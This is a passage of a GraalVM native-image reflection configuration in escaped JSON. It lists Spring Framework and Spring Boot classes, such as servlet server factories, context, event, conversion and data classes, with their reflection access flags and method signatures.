{\"name\":\"getLocaleCharsetMappings\",\"parameterTypes\":[] }, {\"name\":\"getMimeMappings\",\"parameterTypes\":[] }, {\"name\":\"getSession\",\"parameterTypes\":[] }, {\"name\":\"isRegisterDefaultServlet\",\"parameterTypes\":[] }, {\"name\":\"setContextPath\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setCookieSameSiteSuppliers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setDisplayName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setDocumentRoot\",\"parameterTypes\":[\"java.io.File\"] }, {\"name\":\"setInitParameters\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setInitializers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setJsp\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.server.Jsp\"] }, {\"name\":\"setLocaleCharsetMappings\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setMimeMappings\",\"parameterTypes\":[\"org.springframework.boot.web.server.MimeMappings\"] }, {\"name\":\"setRegisterDefaultServlet\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setSession\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.server.Session\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.ConfigurableServletWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.CookieSameSiteSupplier\"\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.Encoding\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.Jsp\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.ServletWebServerFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.Session\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.Session$Cookie\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.Session$SessionTrackingMode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.cache.Cache\"\n},\n{\n  \"name\":\"org.springframework.cache.CacheManager\"\n},\n{\n  \"name\":\"org.springframework.cache.caffeine.CaffeineCache\"\n},\n{\n  \"name\":\"org.springframework.cache.interceptor.CacheAspectSupport\"\n},\n{\n  \"name\":\"org.springframework.cache.jcache.JCacheCache\"\n},\n{\n  \"name\":\"org.springframework.cglib.proxy.Dispatcher\"\n},\n{\n  \"name\":\"org.springframework.cglib.proxy.MethodInterceptor\"\n},\n{\n  \"name\":\"org.springframework.cglib.proxy.NoOp\"\n},\n{\n  \"name\":\"org.springframework.context.ApplicationContext\"\n},\n{\n  \"name\":\"org.springframework.context.ApplicationContextAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.ApplicationContextException\"\n},\n{\n  \"name\":\"org.springframework.context.ApplicationContextInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.ApplicationEvent\"\n},\n{\n  \"name\":\"org.springframework.context.ApplicationEventPublisher\"\n},\n{\n  \"name\":\"org.springframework.context.ApplicationEventPublisherAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.ApplicationListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supportsAsyncExecution\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.ApplicationStartupAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.ConfigurableApplicationContext\"\n},\n{\n  \"name\":\"org.springframework.context.EmbeddedValueResolverAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.EnvironmentAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.Lifecycle\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.LifecycleProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.MessageSource\"\n},\n{\n  \"name\":\"org.springframework.context.MessageSourceAware\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.PayloadApplicationEvent\"\n},\n{\n  \"name\":\"org.springframework.context.Phased\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.ResourceLoaderAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.SmartLifecycle\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isAutoStartup\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.AnnotationConfigRegistry\"\n},\n{\n  \"name\":\"org.springframework.context.annotation.AnnotationScopeMetadataResolver\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.AspectJAutoProxyRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.AutoProxyRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.Bean\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider\"\n},\n{\n  \"name\":\"org.springframework.context.annotation.CommonAnnotationBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInstantiation\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInstantiation\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessMergedBeanDefinition\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RootBeanDefinition\",\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessProperties\",\"parameterTypes\":[\"org.springframework.beans.PropertyValues\",\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"processAheadOfTime\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RegisteredBean\"] }, {\"name\":\"resetBeanDefinition\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.CommonAnnotationBeanPostProcessor$LookupElement\"\n},\n{\n  \"name\":\"org.springframework.context.annotation.ComponentScan\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ComponentScan$Filter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Conditional\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Configuration\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ConfigurationClassEnhancer$EnhancedConfiguration\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ConfigurationClassParser$DefaultDeferredImportSelectorGroup\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.ConfigurationClassPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanDefinitionRegistry\",\"parameterTypes\":[\"org.springframework.beans.factory.support.BeanDefinitionRegistry\"] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"processAheadOfTime\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"processAheadOfTime\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RegisteredBean\"] }, {\"name\":\"setApplicationStartup\",\"parameterTypes\":[\"org.springframework.core.metrics.ApplicationStartup\"] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"setMetadataReaderFactory\",\"parameterTypes\":[\"org.springframework.core.type.classreading.MetadataReaderFactory\"] }, {\"name\":\"setResourceLoader\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.context.annotation.DependsOn\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.EnableAspectJAutoProxy\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.FilterType\"\n},\n{\n  \"name\":\"org.springframework.context.annotation.Import\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ImportAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.ImportRuntimeHints\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Lazy\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Primary\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.PropertySource\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Role\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.annotation.Scope\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.context.aot.KotlinReflectionBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.aot.ReflectiveProcessorBeanFactoryInitializationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.event.ApplicationContextEvent\"\n},\n{\n  \"name\":\"org.springframework.context.event.ContextClosedEvent\"\n},\n{\n  \"name\":\"org.springframework.context.event.ContextRefreshedEvent\"\n},\n{\n  \"name\":\"org.springframework.context.event.DefaultEventListenerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"createApplicationListener\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\",\"java.lang.reflect.Method\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"supportsMethod\",\"parameterTypes\":[\"java.lang.reflect.Method\"] }]\n},\n{\n  \"name\":\"org.springframework.context.event.EventListener\"\n},\n{\n  \"name\":\"org.springframework.context.event.EventListenerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.context.event.EventListenerMethodProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.context.event.GenericApplicationListener\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"supportsEventType\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.context.event.SmartApplicationListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getListenerId\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"supportsSourceType\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.context.i18n.LocaleContext\"\n},\n{\n  \"name\":\"org.springframework.context.support.ApplicationObjectSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.context.support.DefaultLifecycleProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"isRunning\",\"parameterTypes\":[] }, {\"name\":\"onClose\",\"parameterTypes\":[] }, {\"name\":\"onRefresh\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"start\",\"parameterTypes\":[] }, {\"name\":\"stop\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.context.support.DefaultLifecycleProcessor$LifecycleGroup\"\n},\n{\n  \"name\":\"org.springframework.context.support.MessageSourceAccessor\"\n},\n{\n  \"name\":\"org.springframework.context.support.PropertySourcesPlaceholderConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.core.MethodParameter\"\n},\n{\n  \"name\":\"org.springframework.core.Ordered\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.ParameterNameDiscoverer\"\n},\n{\n  \"name\":\"org.springframework.core.PriorityOrdered\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.ReactiveAdapterRegistry\"\n},\n{\n  \"name\":\"org.springframework.core.ResolvableType\"\n},\n{\n  \"name\":\"org.springframework.core.annotation.AliasFor\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.core.annotation.MergedAnnotation\"\n},\n{\n  \"name\":\"org.springframework.core.annotation.MergedAnnotations$SearchStrategy\"\n},\n{\n  \"name\":\"org.springframework.core.annotation.Order\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.core.convert.ConversionService\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"convert\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.core.convert.TypeDescriptor\"] }]\n},\n{\n  \"name\":\"org.springframework.core.convert.TypeDescriptor\"\n},\n{\n  \"name\":\"org.springframework.core.convert.converter.Converter\"\n},\n{\n  \"name\":\"org.springframework.core.convert.converter.ConverterFactory\"\n},\n{\n  \"name\":\"org.springframework.core.convert.converter.ConverterRegistry\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.core.convert.converter.GenericConverter\"\n},\n{\n  \"name\":\"org.springframework.core.convert.support.ConfigurableConversionService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.convert.support.GenericConversionService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addConverter\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Class\",\"org.springframework.core.convert.converter.Converter\"] }, {\"name\":\"addConverter\",\"parameterTypes\":[\"org.springframework.core.convert.converter.Converter\"] }, {\"name\":\"addConverter\",\"parameterTypes\":[\"org.springframework.core.convert.converter.GenericConverter\"] }, {\"name\":\"addConverterFactory\",\"parameterTypes\":[\"org.springframework.core.convert.converter.ConverterFactory\"] }, {\"name\":\"canBypassConvert\",\"parameterTypes\":[\"org.springframework.core.convert.TypeDescriptor\",\"org.springframework.core.convert.TypeDescriptor\"] }, {\"name\":\"canConvert\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Class\"] }, {\"name\":\"canConvert\",\"parameterTypes\":[\"org.springframework.core.convert.TypeDescriptor\",\"org.springframework.core.convert.TypeDescriptor\"] }, {\"name\":\"convert\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Class\"] }, {\"name\":\"convert\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.core.convert.TypeDescriptor\",\"org.springframework.core.convert.TypeDescriptor\"] }, {\"name\":\"removeConvertible\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Class\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.core.env.ConfigurableEnvironment\"\n},\n{\n  \"name\":\"org.springframework.core.env.ConfigurablePropertyResolver\"\n},\n{\n  \"name\":\"org.springframework.core.env.EnumerablePropertySource\"\n},\n{\n  \"name\":\"org.springframework.core.env.Environment\"\n},\n{\n  \"name\":\"org.springframework.core.env.EnvironmentCapable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.env.MutablePropertySources\"\n},\n{\n  \"name\":\"org.springframework.core.env.PropertySource\"\n},\n{\n  \"name\":\"org.springframework.core.env.PropertySources\"\n},\n{\n  \"name\":\"org.springframework.core.io.ProtocolResolver\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.io.Resource\"\n},\n{\n  \"name\":\"org.springframework.core.io.ResourceLoader\"\n},\n{\n  \"name\":\"org.springframework.core.io.support.PropertiesLoaderSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setFileEncoding\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setIgnoreResourceNotFound\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setLocalOverride\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setLocation\",\"parameterTypes\":[\"org.springframework.core.io.Resource\"] }, {\"name\":\"setLocations\",\"parameterTypes\":[\"org.springframework.core.io.Resource[]\"] }, {\"name\":\"setProperties\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setPropertiesArray\",\"parameterTypes\":[\"java.util.Properties[]\"] }, {\"name\":\"setPropertiesPersister\",\"parameterTypes\":[\"org.springframework.util.PropertiesPersister\"] }]\n},\n{\n  \"name\":\"org.springframework.core.metrics.ApplicationStartup\"\n},\n{\n  \"name\":\"org.springframework.core.task.AsyncListenableTaskExecutor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.core.task.AsyncTaskExecutor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"execute\",\"parameterTypes\":[\"java.lang.Runnable\",\"long\"] }, {\"name\":\"submitCompletable\",\"parameterTypes\":[\"java.lang.Runnable\"] }, {\"name\":\"submitCompletable\",\"parameterTypes\":[\"java.util.concurrent.Callable\"] }]\n},\n{\n  \"name\":\"org.springframework.core.task.SimpleAsyncTaskExecutor\"\n},\n{\n  \"name\":\"org.springframework.core.task.TaskDecorator\"\n},\n{\n  \"name\":\"org.springframework.core.task.TaskExecutor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.core.type.AnnotationMetadata\"\n},\n{\n  \"name\":\"org.springframework.core.type.classreading.CachingMetadataReaderFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getMetadataReader\",\"parameterTypes\":[\"org.springframework.core.io.Resource\"] }]\n},\n{\n  \"name\":\"org.springframework.core.type.classreading.MetadataReader\"\n},\n{\n  \"name\":\"org.springframework.core.type.classreading.MetadataReaderFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.core.type.classreading.SimpleMetadataReaderFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getMetadataReader\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.dao.DataAccessException\"\n},\n{\n  \"name\":\"org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.data.cassandra.ReactiveSession\"\n},\n{\n  \"name\":\"org.springframework.data.elasticsearch.client.elc.ElasticsearchTemplate\"\n},\n{\n  \"name\":\"org.springframework.data.elasticsearch.client.elc.ReactiveElasticsearchClient\"\n},\n{\n  \"name\":\"org.springframework.data.elasticsearch.repository.ElasticsearchRepository\"\n},\n{\n  \"name\":\"org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration\"\n},\n{\n  \"name\":\"org.springframework.data.jpa.repository.JpaRepository\"\n},\n{\n  \"name\":\"org.springframework.data.ldap.repository.LdapRepository\"\n},\n{\n  \"name\":\"org.springframework.data.mongodb.core.MongoTemplate\"\n},\n{\n  \"name\":\"org.springframework.data.r2dbc.core.R2dbcEntityTemplate\"\n},\n{\n  \"name\":\"org.springframework.data.redis.cache.RedisCache\"\n},\n{\n  \"name\":\"org.springframework.data.redis.connection.RedisConnectionFactory\"\n},\n{\n  \"name\":\"org.springframework.data.redis.core.RedisOperations\"\n},\n{\n  \"name\":\"org.springframework.data.redis.repository.configuration.EnableRedisRepositories\"\n},\n{\n  \"name\":\"org.springframework.data.repository.Repository\"\n},\n{\n  \"name\":\"org.springframework.data.repository.query.Param\"\n},\n{\n  \"name\":\"org.springframework.data.rest.webmvc.alps.AlpsJsonHttpMessageConverter\"\n},\n{\n  \"name\":\"org.springframework.data.rest.webmvc.config.RepositoryRestMvcConfiguration\"\n},\n{\n  \"name\":\"org.springframework.data.web.PageableHandlerMethodArgumentResolver\"\n},\n{\n  \"name\":\"org.springframework.expression.EvaluationContext\"\n},\n{\n  \"name\":\"org.springframework.expression.ExpressionParser\"\n},\n{\n  \"name\":\"org.springframework.format.AnnotationFormatterFactory\"\n},\n{\n  \"name\":\"org.springframework.format.Formatter\"\n},\n{\n  \"name\":\"org.springframework.format.FormatterRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.format.Parser\"\n},\n{\n  \"name\":\"org.springframework.format.Printer\"\n},\n{\n  \"name\":\"org.springframework.format.support.DefaultFormattingConversionService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.format.support.FormattingConversionService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addFormatter\",\"parameterTypes\":[\"org.springframework.format.Formatter\"] }, {\"name\":\"addFormatterForFieldAnnotation\",\"parameterTypes\":[\"org.springframework.format.AnnotationFormatterFactory\"] }, {\"name\":\"addFormatterForFieldType\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.format.Formatter\"] }, {\"name\":\"addFormatterForFieldType\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.format.Printer\",\"org.springframework.format.Parser\"] }, {\"name\":\"addParser\",\"parameterTypes\":[\"org.springframework.format.Parser\"] }, {\"name\":\"addPrinter\",\"parameterTypes\":[\"org.springframework.format.Printer\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setEmbeddedValueResolver\",\"parameterTypes\":[\"org.springframework.util.StringValueResolver\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.format.support.FormattingConversionServiceRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.hateoas.EntityModel\"\n},\n{\n  \"name\":\"org.springframework.hateoas.server.mvc.TypeConstrainedMappingJackson2HttpMessageConverter\"\n},\n{\n  \"name\":\"org.springframework.http.CacheControl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.ContentDisposition\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpEntity\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpHeaders\",\n  \"allDeclaredFields\":true,\n  